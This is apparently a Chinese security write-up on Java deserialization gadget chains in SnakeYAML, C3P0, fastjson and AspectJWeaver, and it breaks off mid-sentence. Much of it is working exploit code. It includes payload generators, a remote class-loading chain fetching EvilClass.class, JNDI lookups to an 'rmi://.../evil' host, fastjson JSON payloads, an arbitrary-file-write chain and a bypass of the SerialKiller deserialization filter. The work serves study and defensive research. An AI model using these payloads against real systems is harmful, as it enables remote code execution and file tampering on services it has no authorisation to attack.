1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 at java.lang.ProcessBuilder.start(ProcessBuilder.java:1007) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:497) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeCustomInitMethod(AbstractAutowireCapableBeanFactory.java:1930) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods(AbstractAutowireCapableBeanFactory.java:1872) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1800) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:620) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542) at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335) at org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$14.1325056130.getObject(Unknown Source:-1) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208) at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:955) at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:929) at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:591) at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:144) at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:85)
org.springframework.context.support.FileSystemXmlApplicationContext:
1 !!org.springframework.context.support.FileSystemXmlApplicationContext ["http://127.0.0.1:8888/evil.xml" ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 at java.lang.ProcessBuilder.start(ProcessBuilder.java:1007) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:497) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeCustomInitMethod(AbstractAutowireCapableBeanFactory.java:1930) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods(AbstractAutowireCapableBeanFactory.java:1872) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1800) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:620) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542) at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335) at org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$14.1325056130.getObject(Unknown Source:-1) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208) at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:955) at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:929) at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:591) at org.springframework.context.support.FileSystemXmlApplicationContext.<init>(FileSystemXmlApplicationContext.java:142) at org.springframework.context.support.FileSystemXmlApplicationContext.<init>(FileSystemXmlApplicationContext.java:85)
写文件加载本地 jar 1 2 3 4 5 6 7 !!sun.rmi.server.MarshalOutputStream [ !!java.util.zip.InflaterOutputStream [ !!java.io.FileOutputStream [ !!java.io.File ["filePath" ], false ], !!java.util.zip.Inflater { input: !!binary base64 }, length ] ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import com.sun.org.apache.xml.internal.security.utils.JavaUtils;import org.yaml.snakeyaml.Yaml;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.util.Base64;import java.util.zip.Deflater;public class SnakeYamlFilePOC { public static void main (String[] args) throws IOException { String poc = createPoc("E:/flag.txt" , "E:/a.txt" ); System.out.println(poc); } public static String createPoc (String src, String path) throws IOException { byte [] file = JavaUtils.getBytesFromFile(src); int length = file.length; byte [] compressed = compress(file); String b64 = Base64.getEncoder().encodeToString(compressed); String payload = "!!sun.rmi.server.MarshalOutputStream " + "[!!java.util.zip.InflaterOutputStream [" + "!!java.io.FileOutputStream [" + "!!java.io.File [\"" + path + "\"],false]," + "!!java.util.zip.Inflater { input: !!binary " + b64 + " }, " + length + "]]" ; return payload; } public static byte [] compress(byte [] input) throws IOException { Deflater deflater = new Deflater (); deflater.setInput(input); deflater.finish(); ByteArrayOutputStream outputStream = new ByteArrayOutputStream (); byte [] buffer = new byte [1024 ]; while (!deflater.finished()) { int compressedSize = deflater.deflate(buffer); outputStream.write(buffer, 0 , compressedSize); } outputStream.close(); return outputStream.toByteArray(); } }
C3P0 C3P0 是一个开源的JDBC连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。 使用它的开源项目有 Hibernate、Spring 等。
1 2 3 4 5 <dependency > <groupId > com.mchange</groupId > <artifactId > c3p0</artifactId > <version > 0.11.2</version > </dependency >
远程类加载(反序列化触发) 1 2 3 4 5 6 7 at java.lang.Runtime.exec(Runtime.java:347) at EvilClass.<clinit>(EvilClass.java:-1) at java.lang.Class.forName0(Class.java:-1) at java.lang.Class.forName(Class.java:348) at com.mchange.v2.naming.ReferenceableUtils.referenceToObject(ReferenceableUtils.java:91) at com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized.getObject(ReferenceIndirector.java:118) at com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.readObject(PoolBackedDataSourceBase.java:211)
原理分析 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase 这个类的序列化和反序列化的过程没有像传统的自定义序列化那样调用 defaultWriteObject() 和 defaultReadObject(),而是完全由自身控制序列化和反序列化的过程。
序列化过程 首先先观察 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase 的序列化过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 private static final short VERSION = 0x0001 ;private void writeObject (ObjectOutputStream oos) throws IOException { oos.writeShort(VERSION); try { SerializableUtils.toByteArray(connectionPoolDataSource); oos.writeObject(connectionPoolDataSource); } catch (NotSerializableException nse) { com.mchange.v2.log.MLog.getLogger(this .getClass()) .log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect." , nse); try { Indirector indirector = new com .mchange.v2.naming.ReferenceIndirector(); oos.writeObject(indirector.indirectForm(connectionPoolDataSource)); } } }
在 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject 函数中,首先先调用 com.mchange.v2.ser.SerializableUtils#toByteArray 函数尝试对 connectionPoolDataSource 字段进行序列化,调用栈如下:
1 2 3 4 at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:343) at com.mchange.v2.ser.SerializableUtils.serializeToByteArray(SerializableUtils.java:99) at com.mchange.v2.ser.SerializableUtils.toByteArray(SerializableUtils.java:51) at com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.writeObject(PoolBackedDataSourceBase.java:161)
如果 connectionPoolDataSource 字段不能被序列化,则会抛出 NotSerializableException 异常被 ObjectOutputStream#writeObject 后面的 cache 捕获。
在 cahce 部分首先先实例化一个 com.mchange.v2.naming.ReferenceIndirector 对象,然后调用 ReferenceIndirector#indirectForm 对 connectionPoolDataSource 字段进行包装然后再序列化。
indirectForm 函数返回了一个实例化的 com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized 对象,这是 ReferenceIndirector 的一个私有内部类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public IndirectlySerialized indirectForm (Object orig) throws Exception { Reference ref = ((Referenceable) orig).getReference(); return new ReferenceSerialized (ref, name, contextName, environmentProperties); } private static class ReferenceSerialized implements IndirectlySerialized { Reference reference; Name name; Name contextName; Hashtable env; ReferenceSerialized(Reference reference, Name name, Name contextName, Hashtable env) { this .reference = reference; this .name = name; this .contextName = contextName; this .env = env; } }
由于前面实例化 ReferenceIndirector 调用的是它的无参构造函数,因此这里实例化 ReferenceSerialized 时传入的其余参数都是默认空值。
唯一一个与被包装的 connectionPoolDataSource 对象相关的参数是 ref,这是调用 connectionPoolDataSource 的 getReference 方法获取到的,被赋值给 ReferenceSerialized 的 reference 属性。
反序列化过程 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject 在完成 connectionPoolDataSource 字段反序列化后,会判断该字段是否是 IndirectlySerialized 的实现类。如果是的话会调用 com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private static final short VERSION = 0x0001 ;private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { short version = ois.readShort(); switch (version) { case VERSION: { Object o = ois.readObject(); if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject(); this .connectionPoolDataSource = (ConnectionPoolDataSource) o; } } }
由于前面序列化阶段因为 connectionPoolDataSource 不可序列化而经过了 ReferenceSerialized 的包装,因此这里满足是 IndirectlySerialized 的实现类的条件,因此会调用 ReferenceSerialized#getObject 函数获取实际的 connectionPoolDataSource 字段。
ReferenceSerialized#getObject 函数代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public Object getObject () throws ClassNotFoundException, IOException { try { Context initialContext = (env == null ) ? new InitialContext () : new InitialContext (env); Context nameContext = null ; if (contextName != null ) nameContext = (Context) initialContext.lookup(contextName); return ReferenceableUtils.referenceToObject(reference, name, nameContext, env); } catch (NamingException e) { } }
由于前面 ReferenceIndirector#indirectForm 实例化 ReferenceSerialized 的时候只有 reference 是非空的,因此这里会调用 com.mchange.v2.naming.ReferenceableUtils#referenceToObject 函数获取真正的对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public static Object referenceToObject (Reference ref, Name name, Context nameCtx, Hashtable env) throws NamingException { try { String fClassName = ref.getFactoryClassName(); String fClassLocation = ref.getFactoryClassLocation(); ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader(); if (defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader(); ClassLoader cl; if (fClassLocation == null ) { cl = defaultClassLoader; } else { URL u = new URL (fClassLocation); cl = new URLClassLoader (new URL []{u}, defaultClassLoader); } Class fClass = Class.forName(fClassName, true , cl); ObjectFactory of = (ObjectFactory) fClass.newInstance(); return of.getObjectInstance(ref, name, nameCtx, env); } }
referenceToObject 函数会在 Reference 对象设置了 classFactoryLocation 的情况下使用 URLClassLoader 远程加载类并调用无参构造函数实例化,这就实现了远程类加载。
利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;public class C3P0 { private static final class PoolSource implements ConnectionPoolDataSource , Referenceable { private String className; private String url; public PoolSource (String className, String url) { this .className = className; this .url = url; } public Reference getReference () throws NamingException { return new Reference ("foo" , this .className, this .url); } public PrintWriter getLogWriter () throws SQLException {return null ;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0 ;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null ;} public PooledConnection getPooledConnection () throws SQLException {return null ;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null ;} } public static Object getObject (String url) throws Exception { String[] r = splitClassUrl(url); PoolBackedDataSourceBase base = new PoolBackedDataSourceBase (false ); setFieldValue(base, "connectionPoolDataSource" , new PoolSource (r[1 ], r[0 ])); return base; } public static byte [] getPayload(String url) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(url)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("http://127.0.0.1:9999/EvilClass.class" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static String[] splitClassUrl(String s) throws Exception { URL u = new URL (s); String base = u.getProtocol() + "://" + u.getAuthority() + "/" ; String path = u.getPath(); int i = path.lastIndexOf('/' ); String file = (i >= 0 ) ? path.substring(i + 1 ) : path; String cls = file.endsWith(".class" ) ? file.substring(0 , file.length() - ".class" .length()) : file; return new String []{base, cls}; } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
二次反序列化(setter 触发) 1 2 3 4 5 6 7 8 at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431) at com.mchange.v2.ser.SerializableUtils.deserializeFromByteArray(SerializableUtils.java:144) at com.mchange.v2.ser.SerializableUtils.fromByteArray(SerializableUtils.java:123) at com.mchange.v2.c3p0.impl.C3P0ImplUtils.parseUserOverridesAsString(C3P0ImplUtils.java:252) at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource$1.vetoableChange(WrapperConnectionPoolDataSource.java:58) at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:375) at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:271) at com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase.setUserOverridesAsString(WrapperConnectionPoolDataSourceBase.java:441)
原理分析 com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString 函数会将子串 userOverridesAsString[len("HexAsciiSerializedMap") + 1 : -1] 从 HEX 转换为 bytes,然后调用 com.mchange.v2.ser.SerializableUtils#fromByteArray 进行后续反序列化操作。
这里 userOverridesAsString 就是调用 com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString 时传入的参数。
1 2 3 4 5 6 7 8 9 10 private final static String HASM_HEADER = "HexAsciiSerializedMap" ;public static Map parseUserOverridesAsString ( String userOverridesAsString ) throws IOException, ClassNotFoundException { if (userOverridesAsString != null ) { String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1 , userOverridesAsString.length() - 1 ); byte [] serBytes = ByteUtils.fromHexAscii( hexAscii ); return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) ); } else return Collections.EMPTY_MAP; }
最后会在 SerializableUtils#deserializeFromByteArray 函数进行实际的反序列化操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static Object fromByteArray (byte [] bytes) throws IOException, ClassNotFoundException{ Object out = deserializeFromByteArray( bytes ); if (out instanceof IndirectlySerialized) return ((IndirectlySerialized) out).getObject(); else return out; } public static Object deserializeFromByteArray (byte [] bytes) throws IOException, ClassNotFoundException{ ObjectInputStream in = new ObjectInputStream (new ByteArrayInputStream (bytes)); return in.readObject(); }
利用代码 1 2 3 4 5 6 String hex = ByteUtils.toHexAscii(URLDNS.getPayload("http://www.example.com" ));String payload = "HexAsciiSerializedMap:" + hex + '!' ;WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource ();wrapperConnectionPoolDataSource.setUserOverridesAsString(payload);
由于是 setter 触发,可以配合 fastjson 使用:
1 2 3 4 5 6 7 8 9 10 11 12 { "a" : { "@type" : "java.lang.Class" , "val" : "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" } , "b" : { "@type" : "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" , "userOverridesAsString" : "HexAsciiSerializedMap:<hexEXP>!" } }
bytes 转 hex 的工具函数:
1 2 3 4 5 6 7 8 9 10 static String toHex (byte [] bytes) { char [] HEX = "0123456789ABCDEF" .toCharArray(); char [] out = new char [bytes.length * 2 ]; for (int i = 0 , j = 0 ; i < bytes.length; i++) { int v = bytes[i] & 0xFF ; out[j++] = HEX[v >>> 4 ]; out[j++] = HEX[v & 0x0F ]; } return new String (out); }
JNDI(setter 触发) com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource 类可以通过 setter 触发 JNDI。
原理分析 首先 JndiRefConnectionPoolDataSource#setJndiName 会调用 com.mchange.v2.c3p0.impl.JndiRefDataSourceBase#setJndiName 设置 jndiName 属性。
1 2 at com.mchange.v2.c3p0.impl.JndiRefDataSourceBase.setJndiName(JndiRefDataSourceBase.java:110) at com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource.setJndiName(JndiRefConnectionPoolDataSource.java:70)
之后 JndiRefConnectionPoolDataSource#setLoginTimeout 会触发 JNDI:
1 2 3 4 5 6 at javax.naming.InitialContext.lookup(InitialContext.java:417) at com.mchange.v2.c3p0.JndiRefForwardingDataSource.dereference(JndiRefForwardingDataSource.java:77) at com.mchange.v2.c3p0.JndiRefForwardingDataSource.inner(JndiRefForwardingDataSource.java:99) at com.mchange.v2.c3p0.JndiRefForwardingDataSource.setLoginTimeout(JndiRefForwardingDataSource.java:122) at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.setLoginTimeout(WrapperConnectionPoolDataSource.java:264) at com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource.setLoginTimeout(JndiRefConnectionPoolDataSource.java:375)
在 com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference 会按照前面设置的 jndiName 进行 JNDI 查找。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private DataSource dereference () throws SQLException{ Object jndiName = this .getJndiName(); Hashtable jndiEnv = this .getJndiEnv(); try { InitialContext ctx; if (jndiEnv != null ) ctx = new InitialContext ( jndiEnv ); else ctx = new InitialContext (); if (jndiName instanceof String) return (DataSource) ctx.lookup( (String) jndiName ); } }
利用代码 触发代码:
1 2 3 JndiRefConnectionPoolDataSource source = new JndiRefConnectionPoolDataSource ();source.setJndiName("rmi://127.0.0.1:1099/evil" ); source.setLoginTimeout(1 );
配合 fastjson 使用:
1 2 3 4 5 6 7 8 9 10 11 12 13 { "a" : { "@type" : "java.lang.Class" , "val" : "com.mchange.v2.c3p0.JndiRefForwardingDataSource" } , "b" : { "@type" : "com.mchange.v2.c3p0.JndiRefForwardingDataSource" , "jndiName" : "rmi://127.0.0.1:1099/evil" , "loginTimeout" : 0 } }
AspectJWeaver AspectJ 是 Java 社区最知名的面向切面编程(AOP)框架 。它扩展了 Java,支持在已有代码的指定位置 (方法调用前后、异常抛出、字段访问等)注入额外的逻辑,且不需要修改原始代码 。
AspectJWeaver 的本质是一种字节码修改工具 :
读取 .class 文件(二进制 Java 类文件)。
根据用户定义的切面规则(pointcut 和 advice),动态或静态地插入额外的字节码(编织 weaving )。
输出修改后的类文件供 JVM 执行。
因此,“Weaver” 就是“编织器”,将切面代码与业务代码融合。
1 2 3 4 5 <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjweaver</artifactId > <version > 1.9.2</version > </dependency >
任意文件写(反序列化触发) 1 2 3 4 5 6 7 8 9 at java.io.FileOutputStream.write(FileOutputStream.java:313) at org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap.writeToPath(SimpleCache.java:255) at org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap.put(SimpleCache.java:193) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:159) at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74) at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121) at java.util.HashMap.hash(HashMap.java:338) at java.util.HashMap.put(HashMap.java:611) at java.util.HashSet.readObject(HashSet.java:334)
原理分析 前半部分是基于 CC10(CC6+HashSet)实现的,这条链通过 org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode 方法触发了 LazyMap 的 get 方法调用。而 LazyMap 在调用 LazyMap#factory 的 transform 方法后会将 transform 的返回结果 value 与原本的 key 一起放到 map 中。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap#put 会将 value 作为内容(强转为 byte[])写入文件 <folder>/<key> 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public Object put (Object key, Object value) { try { String path = null ; byte [] valueBytes = (byte []) value; if (Arrays.equals(valueBytes, SAME_BYTES)) { path = SAME_BYTES_STRING; } else { path = writeToPath((String) key, valueBytes); } Object result = super .put(key, path); storeMap(); return result; } catch (IOException e) { trace.error("Error inserting in cache: key:" + key.toString() + "; value:" + value.toString(), e); Dump.dumpWithException(e); } return null ; } private String writeToPath (String key, byte [] bytes) throws IOException { String fullPath = folder + File.separator + key; FileOutputStream fos = new FileOutputStream (fullPath); fos.write(bytes); fos.flush(); fos.close(); return fullPath; }
StoreableCachingMap 的构造函数属性为 private,因此需要反射调用。其中第一个参数 folder 可以写文件路径,storingTimer 对与写文件逻辑无影响。
1 2 3 4 5 private StoreableCachingMap (String folder, int storingTimer) { this .folder = folder; initTrace(); this .storingTimer = storingTimer; }
利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class AspectJWeaver { static Object getObject (String path, byte [] content) throws Exception { Class<?> clz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor<?> ctor = clz.getDeclaredConstructor(String.class, int .class); ctor.setAccessible(true ); Map innerMap = (Map) ctor.newInstance("." , 0xdeadbeef ); Map outerMap = LazyMap.decorate(new HashMap (), new ConstantTransformer (content)); TiedMapEntry entry = new TiedMapEntry (outerMap, path); HashSet triggerSet = new HashSet (); triggerSet.add(entry); setFieldValue(outerMap, "map" , innerMap); return triggerSet; } public static byte [] getPayload(String path, byte [] content) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(path, content)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("a.txt" , "hahaha" .getBytes()); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { getDeclaredField(object.getClass(), fieldName).set(object, value); } private static Field getDeclaredField (Class<?> clazz, String fieldName) { while (clazz != null ) { try { Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); return field; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } return null ; } }
SerialKiller 绕过 由于 ConstantTransformer 在 SerialKiller 中被 ban 了,因此我们需要寻找能替代的 Transformer 对象。ConstantTransformer 作用是调用 transform 方法的时候返回一个固定的值(byte[] 类型),因此屋面需要找能达到同等效果且实现了 Transformer 的类。
org.apache.commons.collections.functors.MapTransformer 包装了一个 Map 对象 iMap,然后它的 transform 方法会根据参数 input 在 iMap 中查询对应的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private final Map iMap;public static Transformer getInstance (Map map) { if (map == null ) { return ConstantTransformer.NULL_INSTANCE; } return new MapTransformer (map); } private MapTransformer (Map map) { super (); iMap = map; } public Object transform (Object input) { return iMap.get(input); }
由于我们传入 transform 的参数为文件名是固定的,因此可以用它代替 ConstantTransformer 达到同样的效果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static Object getObject (String path, byte [] content) throws Exception { Class<?> clz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor<?> ctor = clz.getDeclaredConstructor(String.class, int .class); ctor.setAccessible(true ); Map innerMap = (Map) ctor.newInstance("." , 0xdeadbeef ); Map transMap = new HashMap (); transMap.put(path, content); Transformer transformer = MapTransformer.getInstance(transMap); Map outerMap = LazyMap.decorate(new HashMap (), transformer); TiedMapEntry entry = new TiedMapEntry (outerMap, path); HashSet triggerSet = new HashSet (); triggerSet.add(entry); setFieldValue(outerMap, "map" , innerMap); return triggerSet; }
org.apache.commons.collections.functors.FactoryTransformer 保存一个 org.apache.commons.collections.Factory 对象 iFactory,调用 transform 方法返回的是 iFactory.create() 的结果。
1 2 3 4 5 6 7 8 9 10 private final Factory iFactory;public FactoryTransformer (Factory factory) { super (); iFactory = factory; } public Object transform (Object input) { return iFactory.create(); }
然后我们需要寻找合适的 Factory 接口的实现类,且 create 方法的返回值可控。
由于 Factory 来自于 commons-collections 库,因此这个接口的实现类全都来自于 commons-collections 库,并且简单分析一下发现很多实现类都满足条件。
这里只列举一个最简单的情况,也就是 org.apache.commons.collections.functors.ConstantFactory:
1 2 3 4 5 6 7 8 public ConstantFactory (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object create () { return iConstant; }
利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static Object getObject (String path, byte [] content) throws Exception { Class<?> clz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor<?> ctor = clz.getDeclaredConstructor(String.class, int .class); ctor.setAccessible(true ); Map innerMap = (Map) ctor.newInstance("." , 0xdeadbeef ); Map transMap = new HashMap (); transMap.put(path, content); Transformer transformer = new FactoryTransformer (new ConstantFactory (content)); Map outerMap = LazyMap.decorate(new HashMap (), transformer); TiedMapEntry entry = new TiedMapEntry (outerMap, path); HashSet triggerSet = new HashSet (); triggerSet.add(entry); setFieldValue(outerMap, "map" , innerMap); return triggerSet; }
二次反序列化 利用 AspectJWeaver 任意文件写后,发现同目录下出现了一个 cache.idx 文件。
这是因为 org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap#put 函数会调用 storeMap 函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public Object put (Object key, Object value) { try { String path = null ; byte [] valueBytes = (byte []) value; if (Arrays.equals(valueBytes, SAME_BYTES)) { path = SAME_BYTES_STRING; } else { path = writeToPath((String) key, valueBytes); } Object result = super .put(key, path); storeMap(); return result; } catch (IOException e) { trace.error("Error inserting in cache: key:" +key.toString() + "; value:" +value.toString(), e); Dump.dumpWithException(e); } return null ; }
storeMap 将自身序列化结果保存到同目录下的 cache.idx 文件中,不过需要满足 (now - lastStored ) < storingTimer 条件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private static final String CACHENAMEIDX = "cache.idx" ;private long lastStored = System.currentTimeMillis();private int storingTimer;public void storeMap () { long now = System.currentTimeMillis(); if ((now - lastStored ) < storingTimer){ return ; } File file = new File (folder + File.separator + CACHENAMEIDX);; try { ObjectOutputStream out = new ObjectOutputStream ( new FileOutputStream (file)); out.writeObject(this ); out.close(); lastStored = now; } catch (Exception e) { trace.error("Error storing cache; cache file:" +file.getAbsolutePath(), e); Dump.dumpWithException(e); } }
如果我们将 storingTimer 设置的足够大(比如 0x7fffffff),这样的话 cache.idx 文件中就不会写入序列化数据,但是我们的任意文件写可以向 cache.idx 文件写入其他序列化数据。
而既然 cache.idx 文件保存序列化数据,那么一定有其他地方会读取并反序列化该文件中的数据。比如 org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#init:
